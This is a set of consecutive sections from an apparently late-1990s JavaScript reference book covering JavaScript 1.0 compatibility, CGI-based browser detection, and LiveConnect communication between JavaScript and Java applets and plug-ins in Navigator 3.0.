There are so many good reasons to use the SRC attribute that you may find yourself wanting to use it even when you are trying to maintain compatibility with JavaScript 1.0. In order to do this, you'll have to maintain two separate versions of your web page, one that works with JavaScript 1.1 and one that works with JavaScript 1.0. The default page will assume JavaScript 1.1 support and will load the JavaScript code with the SRC attribute. If that attribute is not recognized, then this default page must arrange to load in the other version of the page which has JavaScript 1.0 code explicitly included in it. You can do this with a variation on code we saw earlier in this chapter. Example 18.8 shows what it will look like.

Example 18.8: Load an Alternate Page When <SCRIPT SRC=> Fails

<!-- Try to load the JavaScript code with SRC. -->
<SCRIPT SRC="../javascript/utils.js"> <!--
// if the SRC attribute is not recognized, then this code will load
// a compatible version of the page that does not use SRC. The new
// page will have the same name but will be in a directory named "compat/"
var path = location.path;
var filename = path.substring(path.lastIndexOf("/")+1, path.length);
location = "compat/" + filename;
// --></SCRIPT>

Note that, as we've seen, techniques like this one that rely on assigning a new URL to the location property break the Back button of the browser. Also note that server-side includes (SSI) provide an easy way to maintain the two separate versions of a web page required by this technique. One file uses the SRC attribute to read in its JavaScript code on the client side, and the other uses a server-side include to read in the JavaScript code on the server side.

Previous | Home | Next
Compatibility with Non-JavaScript Browsers | Book Index | Compatibility Through CGI Scripts
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 18] 18.4 Compatibility Through CGI Scripts

JavaScript: The Definitive Guide

Previous Chapter 18
Compatibility Techniques 		Next

18.4 Compatibility Through CGI Scripts

When your web application includes the use of CGI scripts, another approach to all forms of JavaScript compatibility is to use a CGI script on your web server to generate all the JavaScript code used in your application. Then, this script can inspect the User-Agent field of the HTTP request header. This allows it to determine exactly what browser the user is running and generate customized JavaScript code that is known to work correctly on that browser. And if the CGI script detects that the user's browser does not support JavaScript, it can generate web pages that do not require JavaScript at all. The only drawback to this approach is that the CGI script cannot detect when a user has disabled JavaScript support in their browser.

Using a CGI script is also an ideal way to handle the SRC attribute of the <SCRIPT> tag. If the CGI script detects a browser that supports this attribute, it can trivially generate a web page that simply contains a reference to its JavaScript code. For other browsers, it can include that JavaScript code literally into the web page.

The Navigator.userAgent property contains the string that a browser sends as its User-Agent HTTP header. See the reference page for this property for more information. Note that writing CGI scripts is well beyond the scope of this book. For more information on doing so, see CGI Programming on the World Wide Web by Shishir Gundavaram, published by O'Reilly & Associates.

Previous | Home | Next
Compatibility with JavaScript 1.0 Browsers | Book Index | LiveConnect: JavaScript and Java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] LiveConnect: JavaScript and Java

JavaScript: The Definitive Guide

Previous Chapter 19 Next

19. LiveConnect: JavaScript and Java

Contents:
Overview of LiveConnect
LiveConnect Data Types
LiveConnect Data Conversion
JavaScript Conversion of JavaObjects
Scripting Java with JavaScript
Using JavaScript from Java
Working with Java in Internet Explorer
Summary

Navigator 3.0 opens up a tremendous new set of programming possibilities by allowing JavaScript to communicate with the Java virtual machine running in the browser. Netscape's name for this new JavaScript-to-Java and Java-to-JavaScript communication facility is "LiveConnect." This chapter explains how LiveConnect works, and how you can use it in your programs.

Note that Internet Explorer 3.0 does not support LiveConnect. Instead, it treats Java applets as ActiveX objects and allows them to be scripted through that mechanism. Doing so is described briefly at the end of this chapter.

To use LiveConnect, you'll need to understand Java programming. This chapter assumes you have at least a basic familiarity with Java (see Java in a Nutshell, by David Flanagan, and Exploring Java, by Patrick Niemeyer and Joshua Peck, both published by O'Reilly).

19.1 Overview of LiveConnect

LiveConnect is the mechanism that allows JavaScript and Java to work together. Using LiveConnect, all of the following are possible:

  • JavaScript programs can interact with the standard Java system classes built-in to the browser.

  • JavaScript programs can interact with Java applets, both reading and writing public fields of the applet and invoking public methods of the applet.

  • JavaScript programs can interact with Java-enabled Navigator plug-ins in the same way.

  • Applets and Java-enabled plug-ins can interact with JavaScript, reading and writing JavaScript object properties and array elements, and invoking JavaScript functions.

The surprising thing about LiveConnect is how easy it makes it to accomplish these difficult things. LiveConnect automatically handles all the required communication and data type conversion that must take place to allow Java and JavaScript to work together. LiveConnect is an underlying communication framework that opens up all sorts of possibilities for communication among JavaScript programs, Java applets, and Java-enabled plug-ins. LiveConnect can be thought of as the glue that ties these things together. Figure 19.1 illustrates this.

Figure 19.1: LiveConnect glues together JavaScript, applets, and plug-ins

[Graphic: Figure 19-1]

Previous | Home | Next
Compatibility Through CGI Scripts | Book Index | LiveConnect Data Types
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.2 LiveConnect Data Types

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.2 LiveConnect Data Types

In order to understand how LiveConnect does its amazing job of connecting JavaScript to Java, you've got to understand the five JavaScript data types that LiveConnect uses. (There is also a Java data type that LiveConnect uses to connect Java back to JavaScript; we'll learn about that Java class later in this chapter.) The following subsections explain these JavaScript data types. Once we've explored these LiveConnect fundamentals, the following sections will show how we can actually use LiveConnect to connect JavaScript to Java.

The JavaPackage Object

The JavaScript JavaPackage object represents a Java package, which is a collection of related Java classes. The properties of a JavaPackage are the classes that the package contains (classes are represented by the JavaClass object, which we'll see later), as well as any other packages that the package contains. A restriction on the JavaPackage object is that you cannot use a JavaScript for/in loop to obtain a complete list of all packages and classes that a JavaPackage contains. The reason for this restriction will become clear in a moment.

All JavaPackage objects are contained within a parent JavaPackage, and the Window property named Packages is a top-level JavaPackage that serves as the root of this package hierarchy. It has java, sun, and netscape properties, which are JavaPackage objects that represent the various hierarchies of Java classes that are included with Navigator. For example, the JavaPackage Packages contains the JavaPackage Packages.java, which contains the JavaPackage Packages.java.awt. For convenience, every Window object has java, sun, and netscape properties which are shortcuts to Packages.java, Packages.sun, and Packages.netscape. Thus, instead of typing Packages.java.awt, you can simply use java.awt.

To continue with the example, java.awt is a JavaPackage object that contains JavaClass objects like java.awt.Button, which represents the java.awt.Button class. But it also contains yet another JavaPackage object, java.awt.image which represents the java.awt.image package in Java.

As you can see, the property naming scheme for the JavaPackage hierarchy mirrors the naming scheme for Java packages. Note that there is one big difference between the JavaPackage object and actual Java packages. Packages in Java are collections of classes, not collections of other packages. That is, java.lang is the name of a Java package, but java is not. So the JavaPackage object named java does not actually represent a package in Java, but is simply a convenient placeholder in the package hierarchy for other JavaPackage objects that do represent real Java packages.

On many systems, Java classes are installed in files in a directory hierarchy that corresponds to the package name. For example, the java.lang.String class is stored in the file java/lang/String.class in my Java implementation from Sun. In other implementations, notably that from Netscape, the class files are actually stored in a large uncompressed zip file. The directory hierarchy is still there, encoded in the file; it is just not visible on the surface. Therefore, instead of thinking of the JavaPackage object as representing a Java package, you may find it clearer to consider it as representing a directory in the Java class hierarchy.

As we've said above, a JavaPackage object contains properties for each of the packages and classes it contains. If you think of a JavaPackage as representing a directory in the Java class directory hierarchy, then the properties of the JavaPackage are the contents of the directory. Each subdirectory of the directory becomes a JavaPackage property, with the package name matching the subdirectory name. Each file in the directory becomes a JavaClass property, with the property name matching the file name, after the .class extension is stripped off. When viewed in this way, it is easy to understand why the JavaPackage object does not allow the for/in loop to list all of its properties--those properties actually correspond to directory contents, and they are not actually looked up and created until they are first used. Thus, a for/in loop will only find those properties of a JavaPackage object that have already been used at least once by the program.

The JavaClass Object

The JavaClass object is a JavaScript representation of a Java class. A JavaClass object does not have any properties of its own--all of its properties represent (and have the same name as) the public static fields and methods of the represented Java class. These public static fields and methods are sometimes called class fields and class methods to indicate that they are associated with an object class rather than an object instance. Unlike the JavaPackage object, the JavaClass object does allow the use of the for/in loop to enumerate its properties. Note that the JavaClass object does not have properties representing the instance fields and methods of a Java class--individual instances of a Java class are represented by the JavaObject object, which will be documented below.

As we saw above, JavaClass objects are contained in JavaPackage objects. For example, java.lang is a JavaPackage that contains a System property. Thus java.lang.System is a JavaClass object, representing the Java class java.lang.System. This JavaClass object, in turn, has properties such as out and in that represent static fields of the java.lang.System class. You can use JavaScript to refer to any of the standard Java system classes in this same way. The java.lang.Double class is named java.lang.Double (or Packages. java.lang.Double) in JavaScript, for example, and the java.awt.Button class is java.awt.Button.

Another way to obtain a JavaClass object in JavaScript is to use the getClass() function. Given any JavaObject, you can obtain a JavaClass that represents the class of that Java object by passing the JavaObject to getClass().

Once you have a JavaClass object, there are several things you can do with it. The JavaClass object implements the LiveConnect functionality that allows JavaScript programs to read and write the public static fields of Java classes, and to invoke the public static methods of Java classes. For example, java.lang.System is a JavaClass. We can read the value of a static field of this class like this:

var java_console = java.lang.System.out;
Similarly, we might invoke a static method of this class with a line like this one:

var java_version = java.lang.System.getProperty("java.version");
Recall that Java is a typed language--all fields and method arguments have types. If you attempt to set a field or pass an argument of the wrong type, you will cause a JavaScript error.

There is one more important feature of the JavaClass object. You can use it with the JavaScript new operator to create new instances of Java classes--i.e., to create JavaObject objects. The syntax for doing so is just as it is in JavaScript (and just as it is in Java):

var d = new java.lang.Double(1.23);

Finally, having created a JavaObject in this way, we can return to the getClass() function and show an example of its use:

var d = new java.lang.Double(1.23);   // Create a JavaObject.
var d_class = getClass(d);            // Obtain the JavaClass of the JavaObject.
if (d_class == java.lang.Double) ...; // This comparison will be true.
When working with standard system classes like this, you can usually just use the name of the system class directly rather than calling getClass(). The function is more useful to obtain the class of other non-system objects, such as applet instances.

The JavaObject Object

The JavaObject object is a JavaScript object that represents a Java object (that is, it represents an instance of a Java class). The JavaObject object is, in many ways, analogous to the JavaClass object. Like JavaClass, a JavaObject object has no properties of its own--all of its properties represent (and have the same names as) the public instance fields and public instance methods of the Java object it represents. Like JavaClass, you can use a JavaScript for/in loop to enumerate all properties of a JavaObject object. The JavaObject object implements the LiveConnect functionality that allows us to read and write the public instance fields and invoke the public methods of a Java object.

For example, if d is a JavaObject that, as above, represents an instance of the java.lang.Double class, then we can invoke a method of that Java object with JavaScript code like this:

n = d.doubleValue();
Similarly, we saw above that the java.lang.System class has a static field out. This field refers to a Java object of class java.io.PrintStream. In JavaScript, we can refer to the corresponding JavaObject as:

java.lang.System.out
And we can invoke a method of this object like this:[1]

java.lang.System.out.println("Hello world!");

[1] The output of this line of code doesn't appear in the web browser itself, but in the "Java Console." Select Show Java Console in the Options menu to make the console visible.

The JavaObject object also allows us to read and write public instance fields of the Java object it represents. Neither the java.lang.Double class or the java.io.PrintStream class used in the examples above has any public instance fields, however. But suppose we use JavaScript to create an instance of the java.awt.Rectangle class:

r = new java.awt.Rectangle();
Then we can read and write its public instance fields with JavaScript code like the following:

r.x = r.y = 0;
r.width = 4;
r.height = 5;
var perimeter = 2*r.width + 2*r.height;
The beauty of LiveConnect is that it allows a Java object, r, to be used just as if it were a JavaScript object. Some caution is required, however: r is a JavaObject, and does not behave identically to regular JavaScript objects. The differences will be detailed later. Also, remember that unlike JavaScript, the fields of Java objects and the arguments of its methods are typed. If you do not specify JavaScript values of the correct types, you will cause a JavaScript error.

The JavaMethod Object

The JavaMethod object represents a Java method. In the sections above, we've said that the JavaClass and JavaObject objects provide the LiveConnect functionality that allows JavaScript programs to invoke public class methods and public instance methods. In fact, that claim was an over-simplification. The JavaClass and JavaObject objects contain properties that have the same names as the class and instance fields and the class and instance methods of a Java class or object. The properties that represent fields allow us to read and write class and instance fields. The properties that represent methods, on the other hand, simply contain JavaMethod objects, and it is these JavaMethod objects that actually implement the LiveConnect functionality that lets us invoke Java class and instance methods.

So, when we write lines of JavaScript code like this one:

java.lang.System.out.println("Hello world!");
What is actually happening can be made clearer with code like this:

var println_method = java.lang.System.out.println;
println_method("Hello world!");

The LiveConnect functionality provided by the JavaMethod object is substantial. Consider the following JavaScript code:

var r = java.awt.Rectangle(0, 0, 10, 10);   // a 10x10 square at (0,0)
var i = r.inside(5,5);                      // is the point (5,5) inside?
In order to run this code, LiveConnect must convert the two JavaScript numeric arguments to the Java int type. Then it must invoke the Java method, passing these converted values. Finally, it must take the return value, a Java boolean, and convert it to a JavaScript Boolean value and return it. This conversion is completely transparent to the JavaScript programmer, which is what makes LiveConnect so powerful.

JavaMethod objects behave much like regular JavaScript functions, with a few important differences. Java methods, unlike JavaScript functions, expect a fixed number of arguments of a fixed type. If you pass the wrong number or wrong type of arguments, you will cause a JavaScript error. There is a more subtle difference between Java methods and JavaScript functions as well. When a JavaScript function is assigned to an object property, it becomes a method, and is passed a reference to that object as the value of the this keyword. Thus, a JavaScript function may behave differently depending upon which object it is assigned as a property of. This is not true of JavaMethod object--they are invoked in the context of a Java object, and they carry that context with them. A JavaMethod will behave the same regardless of what JavaScript object it is a property of.

The JavaArray Object

The final LiveConnect datatype for JavaScript is the JavaArray object. As you might expect by now, this object represents a Java array, and provides the LiveConnect functionality that allows JavaScript to read the elements of a Java array. Like JavaScript arrays (and like Java arrays), a JavaArray object has a length property that specifies the number of elements it contains. The elements of a JavaArray object are read with the standard JavaScript [] array index operator. They can also be enumerated with the for/in loop. You can also use JavaArray objects to access multidimensional arrays (actually arrays of arrays) just as you would in JavaScript or in Java.

For example, suppose we create an instance of the java.awt.Polygon class:

p = new java.awt.Polygon();
Then the JavaObject p has properties xpoints and ypoints which are JavaArray objects representing Java arrays of integers. (We know the names and types of these properties because we looked up the documentation for java.awt.Polygon in a Java reference manual.) We can use these JavaArray objects to them to randomly initialize the Java polygon with code like this:

for(int i = 0; i < p.xpoints.length; i++)
    p.xpoints[i] = Math.round(Math.random()*100);
for(int i = 0; i < p.ypoints.length; i++)
    p.ypoints[i] = Math.round(Math.random()*100);

Previous | Home | Next
Overview of LiveConnect | Book Index | LiveConnect Data Conversion
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.3 LiveConnect Data Conversion

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.3 LiveConnect Data Conversion

Java is a strongly typed language with a relatively large number of data types. JavaScript is an untyped language with a relatively small number of types. Because of these major structural differences in the two languages, one of the central responsibilities of LiveConnect is data conversion. When JavaScript sets a Java class or instance field or passes an argument to a Java method, a JavaScript value must be converted to an equivalent Java value. And when JavaScript reads a Java class or instance field or obtains the return value of Java method, that Java value must be converted into a compatible JavaScript value.[2]

[2] In addition, data conversion must also happen when Java reads or writes a JavaScript field or invokes a JavaScript method. These conversions are done differently, however, and will be described later in the chapter when we explain how to use JavaScript from Java. For now, we're only considering the data conversion that happens when JavaScript code interacts with Java, not the other way around.

Figure 19.2 and Figure 19.3 illustrate how data conversion is performed when JavaScript writes Java values and when it reads them.

Figure 19.2: Data conversions performed when JavaScript writes Java values

[Graphic: Figure 19-2]

Figure 19.3: Data conversions performed when JavaScript reads Java values

[Graphic: Figure 19-3]

Notice the following points about the data conversions illustrated in Figure 19.2.

  • JavaScript numbers can be converted to any of the primitive Java numeric types. The actual conversion performed will depend, of course, on the type of the Java field being set or method argument being passed. Note that you can lose precision doing this, for example, when you pass a large number to a Java field of type short, or when you pass a floating-point value to a Java integral type.

  • JavaScript numbers can also be converted to instances of the java class java.lang.Double, but not to instances of related classes such as java.lang.Integer or java.lang.Float.

  • JavaScript does not have any representation for character data, so JavaScript numbers may also be converted to the Java primitive char type.

  • A JavaObject in JavaScript is "unwrapped" when passed to Java, and is converted to the Java object it represents. Note, however, that JavaClass objects in JavaScript are not converted to Java instances of java.lang.Class, as might be expected.

Also notice these points about the conversions illustrated in Figure 19.3.

  • Since JavaScript does not have a type for character data, the Java primitive char type is converted to a JavaScript number, and not a string, as might be expected.

  • The figure shows that Java numbers are returned either as primitive JavaScript numbers or as a JavaScript Number object. Similarly, Java boolean values are returned as primitive JavaScript Booleans or as JavaScript Boolean objects. Which is returned depends on whether the value read is a Java field or the return value of a Java method. The discrepancy will be explained in a subsection later in the chapter.

  • Java instances of java.lang.Double, java.lang.Integer, and similar classes are not converted to JavaScript numbers. Like all Java objects, they are converted to JavaObject objects in JavaScript.

  • Java strings are instances of java.lang.String, so like other Java objects they are converted to JavaObject objects rather than to actual JavaScript strings.

  • Any type of Java array is converted to a JavaArray object in JavaScript. Note, however, that Java instances of java.lang.Class are not converted to a JavaClass object--like other Java objects, they are converted to a JavaObject.

Wrapper Objects

In addition to the note above, there is a very important concept that must be made clear in order for you to fully understand Figure 19.2 and Figure 19.3. This is the idea of "wrapper" objects. While conversions between most JavaScript and Java primitive types are possible, conversions between object types are not, in general, possible. This is why LiveConnect defines the JavaObject object in JavaScript--it represents a Java object that cannot be directly converted to a JavaScript object. In a sense, a JavaObject is a JavaScript "wrapper" around a Java object. When JavaScript reads a Java value (a field or the return value of a method), Java objects are "wrapped" and JavaScript sees a JavaObject.

A similar thing happens when JavaScript writes a JavaScript object into a Java field or passes a JavaScript object to a Java method. There is no way to convert the JavaScript object to a Java object, so the object gets wrapped. Just as the JavaScript wrapper for a Java object is a JavaObject, the Java wrapper for a JavaScript object is the Java class netscape.javascript.JSObject.

It gets interesting when these wrapper objects are passed back. If JavaScript writes a JavaObject into a Java field or passes it to Java method, then LiveConnect first "unwraps" the object, converting the JavaObject back into the Java object that it represents. And similarly, if JavaScript reads a Java field or gets the return value of a Java method that is an instance of netscape.javascript.JSObject, then that JSObject is also unwrapped to reveal and return the original JavaScript object.

Java Field Values versus Method Return Values

In Navigator 3.0, LiveConnect returns slightly different data types when a value is read from a Java field than it does when the same value is read as the return value of a Java method. Figure 19.3 shows that all Java primitive numeric types and instances of java.lang.Double are returned as primitive JavaScript numbers or as Number objects. When the numeric return value of a method is read, it is returned as a primitive JavaScript number. But when a numeric value is read from a field, it is returned as a Number object.

Recall that Number objects in JavaScript behave almost the same, but not exactly, as primitive JavaScript numbers. One important difference is that Number objects, like all JavaScript objects, use the + operator for string concatenation rather than addition. So code like the following can yield unexpected results:

var r = new java.awt.Rectangle(0,0,5,5);
var w = r.width;         // This is a Number object, not a primitive number.
var new_w = w + 1;       // Oops!  new_w is now "51", not 6, as expected.
To work around this problem, you can explicitly call the valueOf() method to convert a Number object to its corresponding numeric value. For example:

var r = new java.awt.Rectangle(0,0,5,5);
var w = r.width.valueOf();  // Now we've got a primitive number.
var new_w = w + 1;          // This time, new_w is 6, as desired.
You can also force a Number object to a primitive number by using it in a numeric context (but not the + operator) by subtracting zero, for example. So in the above example we could also have done this:

var w = r.width - 0;        // Now we've got a primitive number.

The same discrepancy occurs when Java primitive Boolean values and instances of java.lang.Boolean are read from Java fields--they are returned as JavaScript Boolean objects even though the same Java value would have been returned as a primitive Boolean value if it had been the return value of a method. You can work around this with the valueOf() method, as above.

Finally, when Java objects are read from Java fields (but not when they are read as the return value of a Java method), the returned value behaves in all respects like a JavaObject, except that passing it to the getClass() function fails with an error: "getClass expects a Java object argument". To work around this problem, to obtain a JavaObject object that getClass() recognizes as such, you can use code like the following:

var o = java.lang.System.out;       // This should be a JavaObject
var c = getClass(o);                // ...but this causes an error.
var p = new Object(o);              // This is the workaround
var c = getClass(p);                // ...this works now.

The fact that values are returned differently when read from a field than when read as method return values is not exactly a bug in LiveConnect; it is more of a misfeature, and it is one that the designers of LiveConnect may not be able to correct in future versions of Navigator. It stems from a subtle incompatibility between Java and JavaScript. In Java methods are not data types as they are in JavaScript, so it is perfectly legal to define a method that has the same name as a field. JavaScript, however, allows us to treat methods, including Java methods, as variables that we can manipulate, and so it is not possible to use the same name for a JavaScript property and a method.

We run into a problem when we try to use a Java class has a field and a method by the same name. Suppose that a JavaObject o refers to an instance of such a class, and the name shared by the field and the method is f. Then the JavaScript expression o.f is ambiguous; JavaScript does not know whether we are referring to the method or the field. Consider this code:

var ambiguous = o.f;     // Is it a JavaMethod or JavaObject?
                         // It depends on how we use it in the future!
ambiguous();             // Hmm...we must have meant the method.
s += ambiguous;          // In this case, we must have meant the field.
The variable ambiguous really can't have a value until it is used in a context that makes it clear what value it is supposed to have. The way this ambiguity is resolved is that ambiguous is implemented as an internal object of a type known as a JavaSlot. Only when it is clear what context the "slot" is being used in is this value converted to the appropriate type.

Notice that this ambiguity only arises when reading Java fields; there is no possibility of it when reading the return values of Java methods. Thus the differences the way values are read arises from the JavaSlot conversion process when Java field values are read.

Previous | Home | Next
LiveConnect Data Types | Book Index | JavaScript Conversion of JavaObjects
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.4 JavaScript Conversion of JavaObjects

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.4 JavaScript Conversion of JavaObjects

Having worked your way through that dense data conversion section above you may have hoped that we were through with the topic of data conversion. But there is more to be discussed. It has to do with how JavaScript converts JavaObjects to various JavaScript primitive types. Notice in Figure 19.3 that quite a few Java data types, including Java strings (instances of java.lang.String) are converted to JavaObject objects in JavaScript rather than being converted to actual JavaScript primitive types, such as strings. This means that when you use LiveConnect, you'll commonly be working with JavaObject objects.

Refer back to Table 9.1. You may also want to re-read the section of Chapter 9, Further Topics in JavaScript, that Table 9.1 is contained in. The table shows how various JavaScript data types are converted when used in various "contexts." For example, when a number is used in a string context, it is converted to a string. And when an object is used in a Boolean context, it is converted to the value false if it is null and true otherwise. These conversion rules don't apply to JavaObject objects. JavaObject objects are converted using their own rules, as follows:

  • When a JavaObject is used in a numeric context, it is converted to a number by invoking the doubleValue() method of the Java object it represents. If the Java object does not define this method, a JavaScript error occurs.

  • When a JavaObject is used in a Boolean context, it is converted to a Boolean value by invoking the booleanValue() method of the Java object it represents. If the Java object does not define this method, a JavaScript error occurs.

  • When a JavaObject is used in a string context, it is converted to a string value by invoking the toString() method of the Java object it represents. All Java objects define or inherit this method, so this conversion always succeeds.

  • When a JavaObject is used in a function context, a JavaScript error occurs.

  • When a JavaObject is used in an object context, no conversion is necessary, since it is already a JavaScript object.

Because of these different conversion rules, and for other reasons as well, JavaObjects behave differently than other JavaScript objects, and there are some common pitfalls that you need to beware of. First, it is not uncommon to work with a JavaObject that represents an instance of a java.lang.Double or some other numeric object. In many ways, such a JavaObject will behave like a primitive number value, but be careful when using the + operator. When you use a JavaObject (or any JavaScript object) with +, it constitutes a string context, and the object is converted to a string for string concatenation, instead of being converted to a number for addition.

When we described this same problem above when working with a Number object, we said that the workaround was to explicitly call valueOf() to convert the Number to a primitive number. Because of another difference between JavaObjects and other JavaScript objects, this workaround doesn't work in this case. Recall that the JavaObject object has no properties of its own; all of its properties represent fields and methods of the Java object it represents. This means that JavaObjects don't even have the valueOf() method recommended above! So when you've got a JavaObject representing an instance of java.lang.Double, or something similar, you'll have to call the doubleValue() method when you need to force it to a primitive value.

Another difference between JavaObjects and other JavaScript data types is that JavaObjects can only be used in a Boolean context if they define a booleanValue() method. Suppose button is a JavaScript variable that may contain null or may hold a JavaObject that represents an instance of the java.awt.Button class. If you want to check whether the variable contains null, you might write code like this, out of old habit:

if (!button) { ... }
If button is null, this will work fine. But if button actually contains a JavaObject representing a java.awt.Button instance, then LiveConnect will try to invoke the booleanValue() method. When it discovers that the java.awt.Button class doesn't define one, it will cause a JavaScript error. The workaround in this case is to be explicit about what you are testing for, to avoid using the JavaObject in a Boolean context:

if (button != null) { ... }
This is a good habit to get into, in any case, since it makes your code easier to read and understand.

Previous | Home | Next
LiveConnect Data Conversion | Book Index | Scripting Java with JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.5 Scripting Java with JavaScript

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.5 Scripting Java with JavaScript

Now that we've discussed the JavaScript data types used by LiveConnect, and the data conversions that go on when JavaScript reads and writes Java data values, we can begin to discuss some of the practical applications of LiveConnect. Bear in mind, while reading this section, that we have still only discussed half of LiveConnect--the half that allows JavaScript to work with Java. The portions of LiveConnect that allow a Java applet to use JavaScript will be documented later.

Using the Java System Classes

All of the LiveConnect examples presented so far in this chapter have made use of Java classes from the standard Java libraries from Sun. There is not a whole lot of interesting things you can do with an instance of java.ang.Double, but we have seen some interesting uses of the java.lang.System class, for example.

LiveConnect gives us the capability to create new instances of Java classes, to set and query fields of classes and their instances, and to invoke methods of classes or instances. Using these capabilities, there are some interesting things we can do with the "built-in" or "system" classes that are installed with Navigator. Note also, that there are some things that we cannot do. LiveConnect does not give us the capability to define new Java classes or subclasses from within JavaScript, nor does it give us the ability to create Java arrays. Also, the things we can do with the standard Java classes are restricted for security reasons. A JavaScript program cannot use the java.io.File class, for example, because that would give it the power to read, write, and delete files on the host system--exactly the capabilities needed for Internet "viruses". Because of security issues like this one, JavaScript can use Java only in those ways that untrusted applets can.

Example 19.1 shows JavaScript code that uses standard Java classes (the JavaScript code looks almost identical to Java code, in fact) to pop up a window and display some text. The results are shown in Figure 19.4.

Example 19.1: Scripting the Built-in Java Classes

var f = new java.awt.Frame("Hello World");
var ta = new java.awt.TextArea("hello, world", 5, 20);
f.add("Center", ta);
f.pack();
f.show();

Figure 19.4: A Java window created from JavaScript

[Graphic: Figure 19-4]

Example 19.1 shows how it is possible to use JavaScript to create simple Java user interfaces. But while this technique of creating and popping up a Java window from JavaScript seems like it could lead to much more complex examples of Java user interfaces and graphics drawn from JavaScript, it is not actually so easy. LiveConnect allows us only to call methods in classes and objects. It does not define any way to subclass Java objects or define Java methods, and both of these techniques are required in Java to be able to handle events (such as button presses). Thus, in general, you can only use JavaScript to create static Java programs, not Java programs that interact with a user. This may change in the future, however--both the JDK 1.1 version of the AWT user-interface library from Sun and the Internet Foundation Classes (IFC) library from Netscape make it easier to define event handlers, and may make it possible to connect Java user-interfaces to JavaScript functions that handle user interaction.

Interacting with Applets

We saw in Chapter 14, Documents and Their Contents, that the Document object has an applets[] property which is an array containing JavaObject objects, one for each Java applet in the document. The JavaObject objects in this array represent the Java object of each applet--this will always be an instance of some subclass java.applet.Applet. Because LiveConnect exposes the Java object for each applet on a web page, you can freely read and write public fields of the applet and just as freely invoke public methods of the applet.

Example 19.2 shows some simple HTML that embeds an applet in a web page and includes buttons that start and stop the applet by using LiveConnect to invoke the applet's start() and stop() methods.

Example 19.2: Controlling an Applet with JavaScript

<!-- Here's the applet -->
<APPLET NAME="animation" CODE="Animation.class" WIDTH=500 HEIGHT=200>
</APPLET>
<!-- And here are the buttons that start and stop it. -->
<FORM>
<INPUT TYPE=button VALUE="Start" onclick="document.animation.start()">
<INPUT TYPE=button VALUE="Stop" onclick="document.animation.stop()">
</FORM>

There are a couple of points to note about this example. First, the <APPLET> tag is given a NAME attribute, and the value of that attribute becomes the name of a property in the document object. We've seen this technique before with the <FORM> and <IMG> tags; in this case it allows us to refer to applets by names such as document.animation instead of numbers such as document.applets[0].

The second point to note about this example is that it calls the start() and stop() methods of the applet--these are standard methods that all applets define; they are the methods that the browser itself calls to start and stop the applet. But you needn't stop at calling the standard methods of the Java Applet class. If your applet defines other methods of its own, you can call any of these as well.[3] If you were working with a full-featured animation applet, for example, you might define an HTML form to serve as a complete control panel for the animation, with Fast-Forward and Reverse buttons, an input field for specifying speed, and so on. The buttons in this control panel could then control the applet by invoking special-purpose methods, such as fast_forward(), provided by the applet.

[3] In fact, it is safer and more portable to call your own custom methods than to call those that are intended to be called by the browser.

Another possibility to bear in mind is that you can write passive applets that take no action on their own, but exist simply to serve your JavaScript code. An applet might define various utility functions for popping up dialog boxes that are more complex than those provided by the alert(), confirm(), and prompt() methods, for example.

Working with Plug-Ins

Just as the applets[] array of the Document object contains JavaObjects that represent the applets embedded in a document with the <APPLET> tag, the embeds[] array of the Document object contains JavaObjects that represent data embedded in a web page with the <EMBED> tag. This is data that is intended to be displayed by a Navigator plug-in. Do not confuse the Document.embeds[] array with the Navigator.plug-ins[] array. The first contains objects that represent a single piece of embedded data, and the second contains Plugin objects that represent the actual plug-ins that are installed in Navigator to display embedded data.

The JavaObject objects in the embeds[] array are all instances of some subclass of the netscape.plugin.Plugin class. Each Java-enabled plug-in defines its own subclass of netscape.plugin.Plugin, and creates an instance of that subclass for each piece of embedded data (each <EMBED> tag) that it displays. The purpose of these netscape.plugin.Plugin subclasses is to define an API through which Java applets and JavaScript programs can control the behavior of a plug-in, or of a particular instance of a plug-in.

Because the objects in the embeds[] array are provided by plug-ins, the properties and methods of any of these objects will depend on the particular plug-in in use. In general, you'll have to read the vendor's documentation for any given plug-in to determine how to control it through LiveConnect. If the plug-in that is displaying the data is not Java-enabled, then the corresponding object in the embeds[] array will be a JavaObject that represents a dummy Java object with no functionality.

Example 19.3 shows how you might use the LiveAudio plug-in (bundled with Navigator 3.0 on most platforms) and LiveConnect to automatically play a sound when the user clicks a button and when the mouse passes over a hyperlink. The example relies upon the play() method of the netscape.plugin.Plugin instance provided by the LiveAudio plug-in. This method, and many others, are detailed by Netscape in their LiveAudio documentation.

Example 19.3: Controlling a Plug-In from JavaScript

<!-- Here we embed some sounds in the browser, with attributes to -->
<!-- specify that they won't be played when first loaded. In this -->
<!-- example, we use sounds found locally on Windows 95 platforms. -->
<EMBED SRC="file:///C|/windows/media/Tada.wav" HIDDEN=true AUTOSTART=false>
<EMBED SRC="file:///C|/windows/media/Ding.wav" HIDDEN=true AUTOSTART=false>
<EMBED SRC="file:///C|/windows/media/The Microsoft Sound.wav"
       HIDDEN=true AUTOSTART=false>
<!-- Here are some buttons that play those sounds. Note the use of the -->
<!-- embeds[] array and the play() method invoked through LiveConnect. -->
<FORM>
<INPUT TYPE=button VALUE="Play Sound #1" onClick="document.embeds[0].play()">
<INPUT TYPE=button VALUE="Play Sound #2" onClick="document.embeds[1].play()">
<INPUT TYPE=button VALUE="Play Sound #3" onClick="document.embeds[2].play()">
</FORM>
<!-- Here's a hypertext link that plays a sound when the user passes over -->
<A HREF="" onMouseOver="document.embeds[0].play()">Click Me</A>

